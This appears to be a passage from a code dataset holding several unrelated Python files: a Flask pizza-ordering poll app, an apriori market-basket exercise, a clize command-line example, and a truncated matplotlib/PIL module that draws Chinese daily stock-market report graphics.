os.environ['DATABASE_URL']\ndb = SQLAlchemy(app)\n\n#things you want, things you don't want, vegetairrirtn? slice numbers?\n\nclass Session(db.Model):\n\tid = db.Column(db.Integer, primary_key = True)\n\ttitle = db.Column(db.String(80))\n\tresponses = db.relationship('Response', backref=\"session\", lazy='dynamic')\n\tdef __init__(self, title):\n\t\tself.title = title\n\nclass Response(db.Model):\n\tid = db.Column(db.Integer, primary_key = True)\n\tsession_id = db.Column(db.Integer, db.ForeignKey('session.id'))\n\tname = db.Column(db.String(80))\n\tveggie = db.Column(db.String(80))\n\tnumslices = db.Column(db.Integer)\n\tlikes = db.Column(db.String(160))\n\tveto = db.Column(db.String(160))\n\tdef __init__(self, session_id):\n\t\tself.session_id = session_id\n\n# static files\n\n\n@app.route(\"/\")\ndef home():\n return render_template('home.html')\n\n@app.route(\"/get-started/\")\ndef getStarted():\n\treturn render_template('get-started.html')\n\n@app.route(\"/start-session\", methods=['POST'])\ndef startSession():\n\t# redirect to the unique url, also flash the url so the person can send it to their persons\n\tsession = Session(request.form['title'])\n\tdb.session.add(session)\n\tdb.session.commit()\n\treturn redirect(\"/session/\" + h.encode(session.id) + \"/\" + secretHash.encode(session.id))\n\n@app.route(\"/session/\")\n@app.route(\"/session//\")\ndef session(rid, sid=None):\n\thash = rid\n\trid = str(h.decode(rid)[0])\n\tsecret = sid\n\tsession = Session.query.filter_by(id=rid).first_or_404()\n\treturn render_template('session.html', session=session, hash=hash, sid=sid, toppings=pizza.toppings)\n\n@app.route(\"/response/\", methods=['POST'])\ndef getResponse(rid):\n\trid = str(h.decode(rid)[0])\n\tresponse = Response(rid)\n\tresponse.name = request.form['name']\n\ttry:\n\t\tif request.form['vegetarian']:\n\t\t\tresponse.veggie = \"true\"\n\texcept:\n\t\tresponse.veggie = \"false\"\n\tresponse.numslices = request.form['numslices']\n\tresponse.veto = request.form['veto']\n\tresponse.likes = request.form['like1'].strip() + ',' + request.form['like2'].strip() + ',' + request.form['like3'].strip()\n\tdb.session.add(response)\n\tdb.session.commit()\n\treturn redirect(\"/thanks\")\n\n@app.route(\"/thanks\")\ndef thanks():\n\treturn render_template('thanks.html')\n\n@app.route(\"/manage/\")\ndef manage(rid):\n\trid = str(secretHash.decode(rid)[0])\n\tsession = Session.query.filter_by(id=rid).first_or_404()\n\trequests = session.responses\n\n\tresult = []\n\n\terror = None\n\n\tif len(requests.all()) < 2:\n\t\terror = \"You need more than one person to compute your personal pizza matrix!\"\n\telse:\n\t\t# PIZZA PIZZA\n\t\tresult = pizzas(requests)\n\n\treturn render_template('manage.html', session=session, result=result, error=error)\n\ndef pizzas(requests):\n\n\tsesh = pizza.Session()\n\n\tfor r in requests:\n\t\tnominated = r.likes.split(\",\")\n\t\tveto = r.veto\n\t\tveggie = r.veggie\n\t\tnumslices = r.numslices\n\t\t#r.name\n\t\tpref = pizza.Preference(nominated, veto, veggie == \"true\", numslices)\n\t\tsesh.addPreferences(pref)\n\n\tresult = sesh.computePizza()\n\treturn result\n\nif __name__ == \"__main__\":\n app.run()","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"397927749","text":"# -*- coding: utf-8 -*-\n\"\"\"\nML Lab for the udemy course \"Machine Learning A-Z (Codes and Datasets)\"\nTopic: Association Rule Mining--Eclat Model\n@author: Anand\n\"\"\"\n\nimport pandas as pd\n\nfrom apyori import apriori\n\n\n#importing the dataset\ndataset = pd.read_csv(\"../Data/Market_Basket_Optimisation.csv\", header=None).values\ntransactions = []\n\nfor i in range(len(dataset)):\n transactions.append([str(j) for j in dataset[i,:]])\n#Threshold values\nmin_tran_count = 3 #Number of transactions per day\nmin_supp = round(min_tran_count * 7 / len(dataset), 3)\n\n\n#Building the apriori model\nrules = apriori(transactions = transactions, min_support = min_supp, min_confidence = 0.2, min_lift = 3,max_length = 2)\n\n#Fetching the rules\nresults = list(rules)\n\n#Function to fetch the values from the results and put it as a dataframe and sort by the lift\ndef inspect(results):\n lhs = [tuple(result[2][0][0])[0] for result in results]\n rhs = [tuple(result[2][0][1])[0] for result in results]\n supports = [result[1] for result in results]\n confidences = [result[2][0][2] for result in results]\n lifts = [result[2][0][3] for result in results]\n return pd.DataFrame(list(zip(lhs, rhs, supports)), columns = ['Product 1', 'Product 2', 'Support']).nlargest(n=10, columns= \"Support\")\n\nrules_df = inspect(results)","sub_path":"Python/Machine Learning A-Z/association_rule_mining_eclat.py","file_name":"association_rule_mining_eclat.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"127267433","text":"#!/usr/bin/python\nfrom clize import clize, run\n\n@clize(require_excess=False)\ndef echo(reverse=False, *text):\n \"\"\"Echoes text back\n\n reverse: reverse the text before echoing back?\n\n text: the text to echo back\"\"\"\n text = ' '.join(text)\n if reverse:\n text = text[::-1]\n print(text)\n\n\n@clize(require_excess=False)\ndef shout(*text):\n \"\"\"Echoes text back, but louder.\n\n text: the text to echo back\n\n Who shouts backwards anyway?\"\"\"\n\n print(' '.join(text).upper())\n\nif __name__ == '__main__':\n run(\n (echo, shout),\n description=\"\"\"\\\n A collection of commands for eching text back\"\"\",\n footnotes=\"\"\"\\\n Now you know how to echo text back\"\"\",\n )\n","sub_path":"examples/subcommands.py","file_name":"subcommands.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"362651101","text":"import pandas as pd\nimport numpy as np\nimport talib\n\nimport LB\nimport os.path\nimport DB\nimport builtins\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as mtick\nimport matplotlib.patches as mpatches\nimport matplotlib\nfrom matplotlib.patches import FancyBboxPatch\nimport squarify\nimport gc\nimport requests\nimport json\nimport ast\nimport math\nfrom functools import partial\nfrom PIL import Image, ImageDraw, ImageFont\n\n# init\nwidth = 2000\nheight = int(width * 0.62)\nbackupfontpath = r'c:\\windows\\fonts\\msyh.ttc'\nmega1 = ImageFont.truetype(r'c:\\windows\\fonts\\msyhbd.ttc', size=int(width * 0.15))\nmega2 = ImageFont.truetype(r'c:\\windows\\fonts\\msyhbd.ttc', size=int(width * 0.11))\nmega3 = ImageFont.truetype(r'c:\\windows\\fonts\\msyhbd.ttc', size=int(width * 0.07))\nh1 = ImageFont.truetype(r'c:\\windows\\fonts\\msyhbd.ttc', size=int(width * 0.05))\nh2 = ImageFont.truetype(r'c:\\windows\\fonts\\msyhbd.ttc', size=int(width * 0.04))\nh3 = ImageFont.truetype(r'c:\\windows\\fonts\\msyhbd.ttc', size=int(width * 0.02))\ntext = ImageFont.truetype(r'c:\\windows\\fonts\\msyh.ttc', size=int(width * 0.02))\n\n\nred=\"#FF5959\"\ngreen=\"#05bf00\"\nwhite='#ffffff'\ngray=\"#333333\"\nlightgray=\"#bbbbbb\"\n\norange= '#F6B900'\nyellow= '#e8eb34'\nviolet=\"#150e9c\"\n\ntreemapred1=\"#e53935\"\ntreemapred2=\"#d32f2f\"\ntreemapred3=\"#c62828\"\ntreemapred4=\"#b71c1c\"\n\ntreemapgreen1=\"#43A047\"\ntreemapgreen2=\"#388E3C\"\ntreemapgreen3=\"#2E7D32\"\ntreemapgreen4=\"#1B5E20\"\n\na_line_plot_color=[orange, white]\n\ntitle_padding=(100,100)\nmatplotlib.rc('font', family='Microsoft Yahei')\n\nshort_maxiium = 3\nshort_minimum = -short_maxiium\ncountfrom=20050101\n#https://matplotlib.org/3.1.0/tutorials/colors/colormaps.html\n\n\n\ndef axes_to_round(ax,mutation_aspect=300,mutation_scale=0.5):\n new_patches = []\n\n for i, patch in enumerate(reversed(ax.patches)):\n bb = patch.get_bbox()\n color = patch.get_facecolor()\n\n p_bbox = FancyBboxPatch((bb.xmin, bb.ymin),\n abs(bb.width), abs(bb.height),\n boxstyle=\"round\",\n ec=\"none\", fc=color,\n mutation_aspect=mutation_aspect,\n mutation_scale=mutation_scale\n )\n\n\n\n\n patch.remove()\n # line.patches[i]=p_bbox\n new_patches.append(p_bbox)\n\n\n for patch in reversed(new_patches):\n ax.add_patch(patch)\n\n\ndef add_corners(im, rad,a_corners=[True]*4):\n circle = Image.new('L', (rad * 2, rad * 2), 0)\n draw = ImageDraw.Draw(circle)\n draw.ellipse((0, 0, rad * 2, rad * 2), fill=255)\n alpha = Image.new('L', im.size, 255)\n w, h = im.size\n if a_corners[0]:\n alpha.paste(circle.crop((0, 0, rad, rad)), (0, 0))\n if a_corners[1]:\n alpha.paste(circle.crop((0, rad, rad, rad * 2)), (0, h - rad))\n if a_corners[2]:\n alpha.paste(circle.crop((rad, 0, rad * 2, rad)), (w - rad, 0))\n if a_corners[3]:\n alpha.paste(circle.crop((rad, rad, rad * 2, rad * 2)), (w - rad, h - rad))\n im.putalpha(alpha)\n return im\n\ndef img_saver(path,dpi=130):\n try:\n plt.savefig(path, transparent=True, dpi=dpi ,bbox_inches=\"tight\", pad_inches=0)\n except:\n folder = \"/\".join(path.rsplit(\"/\")[:-1])\n if not os.path.exists(folder):\n os.makedirs(folder)\n plt.savefig(path, transparent=True, dpi=dpi ,bbox_inches=\"tight\", pad_inches=0)\n plt.clf()\n plt.close()\n plt.close('all')\n gc.collect()\n return path\n\ndef draw_text(section, text, fontsize=h1, left=True,fill=\"#ffffff\",yoffset=0,background=False,align=\"left\"):\n idraw = ImageDraw.Draw(section)\n if background:\n # background\n idraw = ImageDraw.Draw(section)\n w, h = idraw.textsize(text, font=fontsize)\n path = f'../Plot/static/yellow.png'\n chart = Image.open(path)\n chart = chart.resize((w + title_padding[0] + 40, h + 40))\n chart = add_corners(chart, 40,a_corners=[False,False,True,True])\n section.paste(chart, (0, title_padding[1]-10), mask=chart)\n fill=gray\n\n if left:\n idraw.text((title_padding[0],title_padding[1]+yoffset), text, font=fontsize,fill=fill,align=align)\n else:\n w, h = idraw.textsize(text, font=fontsize)\n idraw.text((int((width - w) / 2), title_padding[1]+yoffset), text, font=fontsize,fill=fill,align=align)\n return idraw\n\n\ndef get_bar2(s,path,y_limit=[-600, 600]):\n\n #y axis transform\n y = []\n x=[]\n for index,item in s.iteritems():\n if int(index)<0:\n if int(index)==-999:\n x += [f\"历史新低\"]\n else:\n x+=[f\"{int(abs(index))}日新低\"]\n y+=[item]\n elif int(index)==0:\n continue\n elif int(index)>0:\n if int(index)==999:\n x += [f\"历史新高\"]\n else:\n x += [f\"{int(index)}日新高\"]\n y += [item]\n\n\n\n #line = plt.bar(x, y)\n df_plot=pd.DataFrame(data=y,index=[i for i in range(len(x))])\n ax=df_plot.plot.bar(legend=False)\n\n axes_to_round(ax,mutation_aspect=80,mutation_scale=0.5)\n\n axes = plt.gca()\n print(s.max())\n axes.set_ylim(y_limit)\n plt.axis('off')\n\n fig = plt.gcf()\n fig.set_size_inches(6, 40)\n\n # draw values as text\n for enum, i in enumerate(range(len(y))):\n # OVER each bar\n plt.annotate(f\"{y[i]}家\", xy=(i, y[i]+20), ha='center', va='bottom', color=\"white\", size=12)\n\n # UNDER each bar\n plt.annotate(x[i][:-2], xy=(i, -30), ha='center', va='top', color=\"white\", size=12)\n\n\n #plt.annotate(\"新低\", xy=(1.5, -120), ha='center', va='bottom', color=\"white\", size=40)\n #plt.annotate(\"新高\", xy=(5.5, -120), ha='center', va='bottom', color=\"white\", size=40)\n\n # add color\n for i in range(len(x)):\n if i >= len(x)/2:\n ax.patches[i].set_color(red)\n else:\n ax.patches[i].set_color(green)\n\n # save png\n return img_saver(path=path,dpi=390)\n\n\ndef get_bar(s,path,y_limit=[-300, 2300]):\n\n # init: create boundary\n step = 2\n a_boundary = [(0, 0)]\n for lower, upper in LB.custom_pairwise_overlap([x for x in range(0, 11, step)]):\n if bin != 0:\n a_boundary = [(-upper, -lower)] + a_boundary + [(lower, upper)]\n\n #y axis\n y = []\n for lower, upper in a_boundary:\n if lower == 0 and upper == 0:\n counter = len(s[s == 0])\n elif lower == -10:\n # ALSO count values smaller than -10\n counter = len(s[(s < upper)])\n elif upper == 10:\n # ALSO count values bigger than 10\n counter = len(s[(s >= lower)])\n elif lower == 0 and upper !=0:\n counter = len(s[(s > lower) & (s < upper)])\n else:\n counter = len(s[(s >= lower) & (s < upper)])\n y += [counter]\n\n # x axis: transform data into bar chart\n x = [x for x in range(0, len(y))]\n #line = plt.bar(x, y)\n df=pd.DataFrame(data=y,index=x)\n ax=df.plot.bar(legend=False)\n\n\n # draw values as text\n for enum, i in enumerate(range(len(y))):\n # OVER each bar\n plt.annotate(str(y[i]), xy=(x[i], y[i] + 50), ha='center', va='bottom', color=\"white\", size=12)\n\n # UNDER each bar\n lower = abs(a_boundary[i][0])\n upper = abs(a_boundary[i][1])\n if lower == upper:\n text = 0\n elif enum == 0:\n text = f\"{upper}<\"\n elif enum == len(y) - 1:\n text = f\">{lower}\"\n else:\n text = f\"{lower}-{upper}\"\n plt.annotate(text, xy=(x[i], -180), ha='center', va='bottom', color=\"white\", size=9)\n\n # use this to draw histogram of your data\n # scale down the chart by making the y axis seem taller\n axes = plt.gca()\n axes.set_ylim(y_limit)\n plt.axis('off')\n\n #make corners round\n axes_to_round(ax)\n\n # add color\n for i in x:\n if i < 5:\n ax.patches[i].set_color(green)\n elif i > 5:\n ax.patches[i].set_color(red)\n ax.patches[5].set_color(f'#ffffff')\n\n # save png\n return img_saver(path=path,dpi=390)\n\n\ndef helper_social(section,yoffset):\n # website link\n if False:\n title = f\"www.5849cai.com\"\n draw_text(section=section, text=title, fontsize=h1, left=False, fill=\"#ffffff\", yoffset=yoffset + 200, align=\"center\")\n\n title = f\"我不是韭菜\"\n draw_text(section=section, text=title, fontsize=h2, left=False, fill=\"#ffffff\", yoffset=yoffset + 330, align=\"center\")\n else:\n path = f'../Plot/static/5849cai.png'\n chart = Image.open(path)\n chart = chart.resize((800, 200))\n section.paste(chart, (600, yoffset + 350), mask=chart)\n\n # add hand pointer\n path = f'../Plot/static/pointer.png'\n chart = Image.open(path)\n chart = chart.resize((140, 180))\n section.paste(chart, (1370, yoffset + 420), mask=chart)\n\n\ndef section_title(trade_date, df_date,bcolor,pos):\n # add init\n section = Image.new('RGBA', (width, 750), bcolor)\n path = f'../Plot/static/title.png'\n chart = Image.open(path)\n chart = chart.resize((1700, 350))\n cw, ch = chart.size\n yoffset=120\n section.paste(chart, (int((width - cw) / 2) - 25, yoffset), mask=chart)\n\n # draw title, later to be moved to anoter section\n title = f\"每日收盘 {trade_date[0:4]}.{trade_date[4:6]}.{trade_date[6:8]}. \"\n draw_text(section=section, text=title, fontsize=h1, left=False, fill=\"#343434\", yoffset=yoffset-20)\n\n helper_social(section=section,yoffset=yoffset)\n return section\n\n\ndef section_end(trade_date, df_date,bcolor,pos):\n # add init\n section = Image.new('RGBA', (width, 3600), bcolor)\n\n if False:\n title = f\"www.5849cai.com\"\n draw_text(section=section, text=title, fontsize=h1, left=False, fill=\"#ffffff\",yoffset=200)\n else:\n helper_social(section=section, yoffset=700)\n\n path = f'../Plot/static/title.png'\n chart = Image.open(path)\n chart = chart.resize((1700, 350))\n yoffset=700\n cw, ch = chart.size\n section.paste(chart, (int((width - cw) / 2) - 25, yoffset+20), mask=chart)\n title = f\"每日收盘 {trade_date[0:4]}.{trade_date[4:6]}.{trade_date[6:8]}. \"\n draw_text(section=section, text=\"投资有风险\\n入市需谨慎\", fontsize=mega2, left=False, fill=\"#ffffff\",yoffset=yoffset-700)\n draw_text(section=section, text=title, fontsize=h1, left=False, fill=\"#343434\", yoffset=yoffset)\n\n path = f'../Plot/static/bottom.png'\n chart = Image.open(path)\n chart = chart.resize((2000, yoffset+1600))\n cw, ch = chart.size\n section.paste(chart, (int((width - cw) / 2), yoffset + 700), mask=chart)\n\n return section\n\n\ndef linechart_helper(section,idraw,name,trade_date,a_index,a_summary):\n\n try:\n df_ts_code=DB.get_ts_code(a_asset=[\"E\",\"I\",\"FD\"])\n fig = plt.gcf()\n\n a_legend=[]\n a_minmax=[]\n a_pct_chg=[]\n def round_down(num, divisor):\n return num - (num % divisor)\n for i,index in enumerate(a_index):\n df_asset = DB.get_asset(ts_code=index, freq=\"D\", asset=\"I\")\n\n df_asset = df_asset[(df_asset.index >= int(trade_date)-10000)]\n df_asset = df_asset[(df_asset.index <= int(trade_date))]\n LB.trade_date_to_vieable(df_asset)\n\n\n df_asset.index.name = \"\"\n\n df_asset[\"close\"]=df_asset[\"close\"]/df_asset.at[df_asset[\"close\"].first_valid_index(),\"close\"]\n df_asset[\"close\"] =df_asset[\"close\"]*100-100\n index_name=df_ts_code.at[index,\"name\"]\n df_asset[f\"{index_name}\"]=df_asset[\"close\"]\n\n a_pct_chg+=[df_asset[\"close\"].iat[-1]]\n\n ax = df_asset[index_name].plot(color=a_line_plot_color[i], linewidth=2.5,legend=True)\n a_minmax+=[round_down(df_asset[index_name].min(),10),df_asset[index_name].max()]\n\n label = f'{index_name}'\n a_legend+=[mpatches.Patch(color=a_line_plot_color[i], label=label)]\n\n\n #ax.set_ylim([df_asset[\"close\"].min(), df_asset[\"close\"].max() + 20])\n ax.spines['top'].set_visible(False)\n ax.spines['right'].set_visible(False)\n ax.spines['left'].set_color(white)\n ax.spines['bottom'].set_color(white)\n ax.yaxis.set_major_formatter(mtick.PercentFormatter())\n\n if (max(a_minmax)-min(a_minmax)) > 90 :\n step=20\n else:\n step=10\n plt.yticks(np.arange(min(a_minmax), max(a_minmax), step))\n\n plt.yticks(color=\"#ffffff\")\n plt.xticks(color=\"#ffffff\")\n plt.setp(ax.xaxis.get_majorticklabels(), rotation=-45,fontsize=8)\n ax.tick_params(axis='x', colors=\"#ffffff\")\n ax.tick_params(axis='y', colors=\"#ffffff\")\n #plt.annotate('今天', xy=(len(df_asset), df_asset[\"close\"].iat[-1] + 15), xytext=(len(df_asset), df_asset[\"close\"].iat[-1] + 50), ha='center', color=white, arrowprops=dict(facecolor=yellow, color=yellow, shrink=0.05))\n fig.set_size_inches(4, 2)\n\n leg = plt.legend(handles=a_legend,mode=\"expand\",bbox_to_anchor = (0.5, 1.25),ncol=len(a_index))\n leg.get_frame().set_alpha(0)\n for text in leg.get_texts():\n text.set_color(white)\n\n #plt.fill_between(df_asset[\"close\"].index, df_asset[\"close\"], 0, color=yellow)\n\n #plot text which index is stronger\n if abs((a_pct_chg[0]-a_pct_chg[1]))< 5:\n text = f\"{a_summary[0]} ≈ {a_summary[1]}\"\n elif a_pct_chg[0]>a_pct_chg[1]:\n text=f\"{a_summary[0]} > {a_summary[1]}\"\n else:\n text = f\"{a_summary[1]} > {a_summary[0]}\"\n\n w, h = idraw.textsize(text, font=mega3)\n idraw.text((int(((width - w) / 2)), 1650), text, font=mega3, fill=white)\n\n # use this to draw histogram of your data\n path = f'Plot/report_D_material/{trade_date}/{name}.png'\n img_saver(path=path, dpi=500)\n plt.clf()\n\n return path\n except:\n return -1\n\n\ndef section_industry_pe(trade_date, df_date, bcolor, pos, il=1):\n # add init\n\n\n \"\"\"\n There are 3 ways to calcualte the PE\n 1. Combine industry average PE in asset_G, Calculate using min-max\n 2. Combine industry average PE in asset_G, Calculate using rank\n 3. Calculate individual stock, Calculate using min-max, combine to asset_G\n 4. Calculate individual stock, Calculate using rank, combine to asset_G\n \n Currently this function is using method 2.\n \n \n 1. By definition, the minmax method is not the best PE mean method. because 99days could be pe between 0 and 10, 1 day could be pe 50. Then all 99 days seems cheap. Rank is a better representation.\n It is a very good question. \n \n \"\"\"\n df_sort=pd.DataFrame()\n\n #add standard industry\n for industry in df_date[f\"sw{il}\"].unique():\n try:\n if industry is None:\n continue\n\n if len(industry)>4:\n industry=industry[0:4]\n df_asset_g=DB.get_asset(ts_code=f\"sw{il}_{industry}\",freq=\"D\",asset=\"G\")\n df_asset_g=df_asset_g[(df_asset_g.index>=countfrom)& (df_asset_g.index<= int(trade_date))]\n\n if df_asset_g.empty:\n continue\n\n cur2 = df_asset_g[\"pe_ttm\"].rank(pct=True)\n if math.isnan(cur2.iat[-1]):\n continue\n df_sort.at[industry,\"min\"]=df_asset_g[\"pe_ttm\"].min()\n df_sort.at[industry,\"max\"]=df_asset_g[\"pe_ttm\"].max()\n df_sort.at[industry,\"cur\"]=temp1=df_asset_g[\"pe_ttm\"].iat[-1]\n df_sort.at[industry,\"cur2\"]=temp2=cur2.iat[-1]\n\n except:\n pass\n\n #add asset_E as industry\n for index in [\"创业板\",\"主板\",\"中小板\"]:\n try:\n df_asset_g = DB.get_asset(ts_code=f\"market_{index}\", freq=\"D\", asset=\"G\")\n df_asset_g=df_asset_g[(df_asset_g.index>=countfrom)& (df_asset_g.index<= int(trade_date))]\n if df_asset_g.empty:\n continue\n\n df_sort.at[f\"{index}\",\"min\"]=df_asset_g[\"pe_ttm\"].min()\n df_sort.at[f\"{index}\",\"max\"]=df_asset_g[\"pe_ttm\"].max()\n df_sort.at[f\"{index}\",\"cur\"]=df_asset_g[\"pe_ttm\"].iat[-1]\n cur2 = df_asset_g[\"pe_ttm\"].rank(pct=True)\n df_sort.at[f\"{index}\", \"cur2\"] = cur2.iat[-1]\n except:\n print(f\"{index} probably doesnt exist yet\")\n\n\n\n # add custom index and groups\n df_ts_code_I=DB.get_ts_code(a_asset=[\"I\"])\n a_custom_color=[]\n for index in LB.c_imp_index()[\"I\"]:\n \"\"\"\n 1. for each index, get all his con_ts_code\n 2. for each con_code calculate rank for today\n 2. for each con_code calculate min,max,cur for today\n 3. add all concode together\n \"\"\"\n\n #manually create index member asset\n df_index_weight=DB.get_asset(ts_code=index,asset=\"I\",freq=\"index_weight\")\n df_index_weight=df_index_weight.reset_index(drop=False)\n df_index_result=pd.DataFrame()\n df_index_result[\"pe_ttm\"] = np.nan\n df_index_result[\"count\"] = 1\n\n latest_index_weight_date=df_index_weight[\"trade_date\"].unique()[0]\n df_index_weight=df_index_weight[df_index_weight[\"trade_date\"]==latest_index_weight_date]\n for con_code in df_index_weight[\"con_code\"]:\n try:\n print(\"calculating con code\", con_code)\n df_asset_e=DB.get_asset(ts_code=con_code,asset=\"E\",freq=\"D\")\n df_asset_e=df_asset_e[ df_asset_e.index <= int(trade_date)]\n if df_asset_e.empty:\n continue\n df_asset_e[\"count\"]=1\n df_asset_e[\"pe_ttm\"]=df_asset_e[\"pe_ttm\"].clip(0,200)\n df_index_result[\"pe_ttm\"]=df_index_result[\"pe_ttm\"].add(df_asset_e[\"pe_ttm\"],fill_value=0)\n df_index_result[\"count\"]=df_index_result[\"count\"].add(df_asset_e[\"count\"],fill_value=0)\n except:\n pass\n df_index_result[\"pe_ttm\"] =df_index_result[\"pe_ttm\"]/df_index_result[\"count\"]\n df_index_result.to_csv(\"test.csv\")\n\n #after creating the index, we add the index result to all other G\n try:\n df_asset_g = df_index_result\n df_asset_g = df_asset_g[(df_asset_g.index >= countfrom) & (df_asset_g.index <= int(trade_date))]\n if df_asset_g.empty:\n continue\n\n index_name=df_ts_code_I.at[index,\"name\"]\n a_custom_color+=[index_name]\n df_sort.at[f\"{index_name}\", \"min\"] = df_asset_g[\"pe_ttm\"].min()\n df_sort.at[f\"{index_name}\", \"max\"] = df_asset_g[\"pe_ttm\"].max()\n df_sort.at[f\"{index_name}\", \"cur\"] = df_asset_g[\"pe_ttm\"].iat[-1]\n cur2 = df_asset_g[\"pe_ttm\"].rank(pct=True)\n df_sort.at[f\"{index_name}\", \"cur2\"] = cur2.iat[-1]\n except:\n print(f\"{index_name} probably doesnt exist yet\")\n\n\n df_sort[\"norm\"]= (((1 - 0) * (df_sort[\"cur\"] - df_sort[\"min\"])) / (df_sort[\"max\"] - df_sort[\"min\"])) + 0\n df_sort[\"norm\"] =df_sort[\"norm\"]*100\n df_sort[\"cur2\"]=df_sort[\"cur2\"]*100\n df_sort=df_sort.sort_values(by=\"cur2\",ascending=True)\n df_sort[\"fakex\"]=100\n\n # display data\n x_fake = [x for x in df_sort[\"fakex\"]]\n x = [x for x in df_sort[\"cur2\"]]\n y = [x for x in df_sort.index]\n\n # fake\n line = plt.barh(y, x_fake) # background\n for i in range(0, len(line)):\n line[i].set_color(white)\n\n # real\n lines = plt.barh(y, x)\n for i in range(0, len(lines)):\n if df_sort.index[i] in [\"创业板\",\"主板\",\"中小板\"]:\n lines[i].set_color(red)\n elif df_sort.index[i] in a_custom_color:\n lines[i].set_color(green)\n else:\n lines[i].set_color(orange)\n\n\n\n ax = plt.gca()\n ax.set_xlim([-70, 130])\n ax.set_ylim([-1, len(x_fake)+3])\n ax.spines['top'].set_visible(False)\n ax.spines['right'].set_visible(False)\n ax.spines['bottom'].set_visible(False)\n ax.spines['left'].set_visible(False)\n ax.xaxis.set_visible(False)\n ax.yaxis.set_visible(False)\n plt.yticks(color=\"#ffffff\")\n manu_y=-0.38\n\n\n #draw label\n plt.annotate(\"历史最低PE\", xy=(-10, len(x) ), ha='center', va='bottom', color=\"white\", size=12)\n plt.annotate(\"今日PE\", xy=(50, len(x) ), ha='center', va='bottom', color=\"white\", size=12)\n plt.annotate(\"历史最高PE\", xy=(105, len(x)), ha='center', va='bottom', color=\"white\", size=12)\n\n # draw values as text\n for enum, i in enumerate(range(len(x))):\n try:\n # LEFT LABEL\n plt.annotate(df_sort.index[i], xy=(-70, manu_y+i*1), ha='left', va='bottom', color=white, size=12)\n\n # LEFT min\n plt.annotate(f\"{int(df_sort['min'].iat[i])}\", xy=(-10, manu_y + i * 1), ha='center', va='bottom', color=white, size=12)\n\n # RIGHT max\n plt.annotate(f\"{int(df_sort['max'].iat[i])}\", xy=(105, manu_y + i * 1), ha='left', va='bottom', color=white, size=12)\n\n # CENTER curr\n percent=int(df_sort['cur2'].iat[i])\n if percent>70:\n adjust_dist = -5\n ha=\"right\"\n color=white\n else:\n adjust_dist = +5\n ha=\"left\"\n color = gray\n plt.annotate(f\"{int(df_sort['cur'].iat[i])}\", xy=(int(df_sort['cur2'].iat[i]+adjust_dist), manu_y + i * 1), ha=ha, va='bottom', color=color, size=12)\n except:\n pass\n\n fig = plt.gcf()\n if il==1:\n fig.set_size_inches(4, 18)\n elif il==2:\n fig.set_size_inches(4, 38)\n\n # use this to draw histogram of your data\n path = f'Plot/report_D_material/{trade_date}/pe_ttm.png'\n img_saver(path=path, dpi=560)\n chart = Image.open(path)\n cw, ch = chart.size\n\n section = Image.new('RGBA', (width, ch+300), bcolor)\n idraw = draw_text(section, f\"{pos}. 行业市盈率\", background=True)\n section.paste(chart, (int((width - cw) / 2)+20, 200), mask=chart)\n\n return section\n\nsection_industry_pe2=partial(section_industry_pe, il=2)\n\ndef pe_helper(section,bcolor,index_G,pos):\n\n fig = plt.gcf()\n for index in index_G:\n try:\n df_asset_G = DB.get_asset(ts_code=f\"market_{index}\", freq=\"D\", asset=\"G\")\n df_asset_G = df_asset_G[(df_asset_G.index >= countfrom) ]\n df_asset_G = df_asset_G[(df_asset_G.index <= int(trade_date)) ]\n LB.trade_date_to_vieable(df_asset_G)\n df_asset_G.index.name=\"\"\n ax=df_asset_G[\"pe_ttm\"].plot(color=orange, linewidth=1)\n ax.set_ylim([df_asset_G[\"pe_ttm\"].min(), df_asset_G[\"pe_ttm\"].max()+20])\n ax.spines['top'].set_visible(False)\n ax.spines['right'].set_visible(False)\n ax.spines['left'].set_color(white)\n ax.spines['bottom'].set_color(white)\n\n plt.yticks(color=\"#ffffff\")\n plt.xticks(color=\"#ffffff\")\n plt.setp(ax.xaxis.get_majorticklabels(), rotation=-45)\n ax.tick_params(axis='x', colors=\"#ffffff\")\n ax.tick_params(axis='y', colors=\"#ffffff\")\n plt.ylabel('市盈率 PE', color=\"white\")\n #plt.annotate('今天', xy=(len(df_asset_G), df_asset_G[\"pe_ttm\"].iat[-1]+15), xytext=(len(df_asset_G), df_asset_G[\"pe_ttm\"].iat[-1]+20), ha='center', color=white, arrowprops=dict(facecolor=orange, color=orange, shrink=0.05))\n #plt.annotate('创业板历史市盈率', xy=(int(len(df_asset_G)/2), df_asset_G[\"pe_ttm\"].max()+15),ha='center', color=white)\n fig.set_size_inches(4, 2)\n\n #write summary text\n rank=df_asset_G[\"pe_ttm\"].rank(pct=True)\n today_pe=rank.iat[-1]\n if today_pe > 0.8 and today_pe <= 1:\n text=f\"{index}市盈率极高\"\n elif today_pe > 0.6 and today_pe < 0.8:\n text=f\"{index}市盈率偏高\"\n elif today_pe > 0.4 and today_pe < 0.6:\n text=f\"{index}市盈率中位\"\n elif today_pe > 0.2 and today_pe < 0.4:\n text=f\"{index}市盈率偏低\"\n elif today_pe >= 0 and today_pe < 0.2:\n text=f\"{index}市盈率极低\"\n\n idraw = draw_text(section, f\"{pos}. {index}市盈率\", background=True)\n w, h = idraw.textsize(text, font=mega3)\n idraw.text((int((width - w) / 2), 1550), text, font=mega3, fill=white)\n\n #egal, (ax1) = plt.subplots(1, 1, sharex=True)\n plt.fill_between(df_asset_G[\"pe_ttm\"].index, df_asset_G[\"pe_ttm\"], 0, color=orange)\n\n\n # use this to draw histogram of your data\n path = f'Plot/report_D_material/{trade_date}/{index}.png'\n img_saver(path=path, dpi=470)\n chart = Image.open(path)\n cw2, ch2 = chart.size\n section.paste(chart, (int((width - cw2) / 2) + 20, 400), mask=chart)\n\n return section\n except Exception as e:\n plt.clf()\n print(f\"{index} probably doesnt exist yet\")\n print(e)\n else:\n return Image.new('RGBA', (width, 0), bcolor)\n\n\n\ndef section_sh_pe(trade_date, df_date, bcolor, pos):\n # add init\n section = Image.new('RGBA', (width, 1850), bcolor)\n return pe_helper(section=section, bcolor=bcolor,index_G=[\"主板\"],pos=pos)\n\n\ndef section_cy_pe(trade_date, df_date, bcolor, pos):\n # add init\n section = Image.new('RGBA', (width, 1850), bcolor)\n return 